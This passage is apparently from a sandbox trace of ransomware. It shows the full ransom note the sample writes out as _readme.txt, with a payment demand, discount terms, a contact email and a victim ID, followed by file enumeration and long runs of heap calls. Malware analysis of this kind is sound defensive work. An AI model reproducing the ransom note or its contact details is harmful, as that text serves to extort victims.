ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.284] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.284] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.284] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.284] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.285] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.285] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.285] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.285] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.286] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.286] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.288] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.289] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.289] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] 